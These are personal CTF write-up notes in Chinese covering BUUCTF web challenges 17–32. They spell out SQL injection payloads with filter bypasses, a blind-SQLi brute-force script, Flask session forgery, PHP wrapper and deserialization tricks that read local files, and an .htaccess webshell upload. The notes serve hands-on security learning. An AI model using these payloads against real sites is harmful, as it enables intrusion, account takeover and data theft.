17.[ACTF2020 新生赛]Upload

这一题和上一篇的极客大挑战的upload差不多,同样的脚本拿去上传也可以上传成功,更人性化的是把目录都给出来了

18.[极客大挑战 2019]BabySQL

SQL注入绕过方法汇总,很棒:https://blog.csdn.net/huanghelouzi/article/details/82995313
payload:?username=1' order by 3 %23&password=1
order 在这里报错显示为der,这里对输入的字符串做了过滤,要么是屏蔽了or等字段,要么是用replace函数将特殊字段删除
双写绕过,字段为3个
payload:?username=1' oorrder bbyy 3 %23&password=1
测试有效注入点2.3
payload: ?username=1' ununionion selselectect 1,2,3 %23&password=1
过滤了union/select
拿表名
payload: ?username=1' ununionion selselectect 1,database(),group_concat(table_name) frofromm infoorrmation_schema.tables whwhereere table_schema=database()%23&password=1
过滤了:where
拿段名
payload: ?username=1' ununionion selselectect 1,database(),group_concat(column_name) frofromm infoorrmation_schema.columns whwhereere table_schema=database() anandd table_name='b4bsql'%23&password=1
过滤了: and
拿数据
payload: ?username=1' ununionion selselectect 1,database(),group_concat(id,username,passwoorrd) frofromm b4bsql%23&password=1

19. [ACTF2020 新生赛]BackupFile

扫描备份文件。发现index.php.bak
php上的==是弱类型比较,直接上payload :  ?key=123即可

20.[HCTF 2018]admin

知识盲区,看了网上的解法,都是我不会的,学习了新知识,遇到这页面多的题,先按照页面的流程过一遍,像这道题就先注册,登陆一条龙下来,

第一种解法:Flask Session身份伪造

注册再登陆之后,在change password页面,有提示信息
审计代码,在config.py页面有这SECRET_KEY,

伪造原理

flask的session是存储在客户端cookie中的,而且flask仅仅对数据进行了签名。众所周知的是,签名的作用是防篡改,而无法防止被读取。而flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的,这就可能造成一些安全问题。

通常情况下会和SSTI知识点同步考察。

利用方式

我们可以用python脚本把flask的session解密出来,但是如果想要加密伪造生成我们自己的session的话,还需要知道flask用来签名的SECRET_KEY

题目有提示使用admin,通过flask_session的安全漏洞,可以将普通用户以其他用户身份登陆
在登陆时使用bp抓包,注意第一个抓到的包不一定是登陆时的包,这里我刚刚从admin账户退出,第一个包里面的内容是admin账户的
上脚本,解析session的内容
将name改为admin,user_id改为1
上脚本encode成伪造的admin用户的session

bp改包
拿到flag

第二种解法--unicode欺骗:

name = strlower(session['name']) 
def strlower(username): username = nodeprep.prepare(username) return username
这个nodeprep.prepare存在漏洞。我们还会发现,login的时候又strlower一次。这个本来是转小写的,但是如果我们注册的用户名是这个:
ᴬᴰᴹᴵᴺ
login的时候会经过一次strlower会编程ADMIN,在change password的时候会变成admin。因此可以更改admin的密码,从而完成登录
ᴀʙᴄᴅᴇꜰɢʜɪᴊᴋʟᴍɴᴏᴘʀꜱᴛᴜᴠᴡʏᴢ
这都是什么神仙

21.[极客大挑战 2019]BuyFlag

bp拿包,里面的Cookie:user=0比较可疑,一定是用来声明身份的,正好对应上提示的身份要求,改成1试一试
之后,在pay.php页面中有这一处提示,简单的弱类型比较绕过
绕过后提示购买,猜测购买字段是cost、money等,猜中是money
提示数字太长
换成科学计数法

22. [BJDCTF2020]Easy MD5

特殊的字符串  ffifdyop ,hash后的前几位字符串 ' or '6
之后跳转到这里,有下一步的提示
md5函数处理数组会返回null,利用这一点绕过
payload: ?a[]=1&b[]=2
之后同样用数组绕过

23. [ZJCTF 2019]NiZhuanSiWei

这里怎么看怎么奇怪,去某个文件里拿指定字符串?记得之前看php伪协议的时候好像有写入数据的协议
data://text/plain;base64,[base64编码],姑且试了试
payload: ?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
源码有include,立马尝试php://filter伪协议
payload: ?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php

解码,这里可以通过序列化的数据把flag.php的内容拿出来
本地序列化  序列化字符串:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
这里不知道为什么必须把php://filter伪协议的去掉才能显示flag

flag在注释里

24. [SUCTF 2019]CheckIn (这台电脑的webshell工具老是装不上,只做到了上传,没有连接)

转载我觉得很不错的wp:https://blog.csdn.net/weixin_44077544/article/details/102688564,记录一下,方便以后看
(臭打游戏的最讨厌装工具)

25. [极客大挑战 2019]HardSQL

这道题有三个主要的知识点
1. 利用extractvalue()函数进行xpath报错注入,
extractvalue() :对XML文档进行查询的函数

语法:extractvalue(目标xml文档,xml路径)

第一个参数 :   第一个参数可以传入目标xml文档

第二个参数: xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

正常查询 第二个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错

它能够查询的字符串长度最大是32个字符,如果超过32位,我们就需要用函数来查询,比如right(),left(),substr()来截取字符串

2. 利用left()、right()函数获取不同位置的字符串
3. 利用 () 绕过空格过滤
payload: ?username=1&password=1'
单引号闭合

payload: ?username=1&password=1'^extractvalue(1,concat(0x5c,(select(database()))))%23
利用extractvalue漏洞查看库名geek
payload: ?username=1&password=1'^extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))))%23
查看表名,注意这里因为括号太多很容易看走眼而格式报错,要留心一些
payload: ?username=1&password=1'^extractvalue(1,concat(0x5c,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%2
仍然常规操作拿列名
payload:?username=1&password=1'^extractvalue(1,concat(0x5c,(select(group_concat(id,username,password))from(H4rDsq1))))%23
是不完整的flag
用right()函数找出右边的数据
payload: ?username=1&password=1'^extractvalue(1,concat(0x5c,(select(group_concat(id,username,right(password,32)))from(H4rDsq1))))%23
拼接一下即可

26. [CISCN2019 华北赛区 Day2 Web1]Hack World

随便输一个1提交查询,bp抓到的包里面显示id是变量名
对id=1或2或3均会得到不同的结果
payload: (post)id=1' or '1'=2%23
这个payload没什么用,空格和or以及%23给过滤掉了
能判断的是会根据输入有报错或正常的回显,是一道bool盲注
提示说明了flag的位置
测试payload: id=(ascii(substr((select(flag)from(flag)),1,1))=102)   其中102代表‘f’
贴出爆flag的代码,代码也爆了库名
import requests
url = 'http://2ea5720e-0400-43d2-a85d-d039795f2b98.node4.buuoj.cn/'
target_str = 'Hello, glzjin wants a girlfriend.'
res = ''
for i in range(1, 129):  # 128位的字符串
    stop = 0
    for j in range(32, 129): # ascii 32到128的字符
        stop = j
        # 第i个字符与j比较
        # db: ctftraining
        # data = {'id': '(ascii(substr(database(),%d,1))=%d)' % (i, j)}
        data = {'id': '(ascii(substr((select(flag)from(flag)),%d,1))=%d)' % (i, j)}
        re = requests.post(url=url, data=data).text.replace('\n', '')
        if target_str in re:
            res += chr(j)
            print('res: ==> ', res)
            break
    if stop >= 128:
        print("结束 ==> ", res)
        break


27. [GXYCTF2019]BabySQli

重点是md5加密的绕过
b32 -- b64解密出为 
select * from user where username = '$name'
对name操作
fuzzdb得到or,ord,information_schema被过滤,使用大写绕过
name=1' Order by 3# 不报错,得到共三个字段
name=1' union select 1,2,3# 显示wrong user
name=1' union select 1,‘admin’,3# 显示wrong possword
union联合查询时会如果查询数据不存在会生成一个临时虚拟的数据
name=1' union select 1,'admin','202cb962ac59075b964b07152d234b70'# 
pw=123
其中202cb962ac59075b964b07152d234b70为123的md5
得到flag


28. [网鼎杯 2020 青龙组]AreUSerialz

简单的反序列化的题目
protected 变量在序列化的时候会有不可见字符,改成public即可
本地运行一下代码
<?php 
class FileHandler {

public $op = 2;
public $filename = "flag.php";
// public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
public $content = "a";

}

$str = new FileHandler();
var_dump(serialize($str));

?>
把输出放在payload即可

29. [MRCTF2020]你传你🐎呢

主要知识点,上传.htacce***文件,将图片按照php解析
配置文件内容:AddType application/x-httpd-php .jpg  即可
上传的时候拿bp改content-type即可
木马文件简单的php一句话,后缀改成jpg
【这道题我奇怪的是,拿页面上下载的jpg文件却上传不上去,不知道怎么回事】

30.[MRCTF2020]Ez_bypass

MD5函数的绕过,用数组绕过。以及php弱类型比较,很简单。

31. [网鼎杯 2018]Fakebook

先注册一个用户
在个人页面中发现no=1,改成0试一试,报错,这里可能是漏洞

sql注入一下,这里用/**/绕过waf
先爆表,再爆列
payload:?no=0 union/**/select 1,group_concat(table_name),3,4  from information_schema.tables where table_schema=database()#     
payload:?no=0 union/**/select 1,group_concat(column_name),3,4  from information_schema.columns where table_schema=database() and table_name='users'#
查看data,发现是序列化的字符串
很有可能是和序列化有关的题目,感觉会有源码泄露,查看robots.txt,还真有个,查看
get函数有问题,curl还支持file协议,这一点可以拿到本地文件
构造序列化字符串,路径在上面报错时显示了出来

payload: ?no=0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

32. [GYCTF2020]Blacklist

和前面有道题很像,忘了哪一道了,也是使用堆叠注入,但是这道题过滤了select
先查表名show tables;

使用HANDLER语句

HANDLER ... OPEN语句打开一个表,使其可以使用后续HANDLER ... READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE或会话终止之前不会关闭

1'; HANDLER FlagHere OPEN;
HANDLER FlagHere READ FIRST;
HANDLER FlagHere CLOSE;#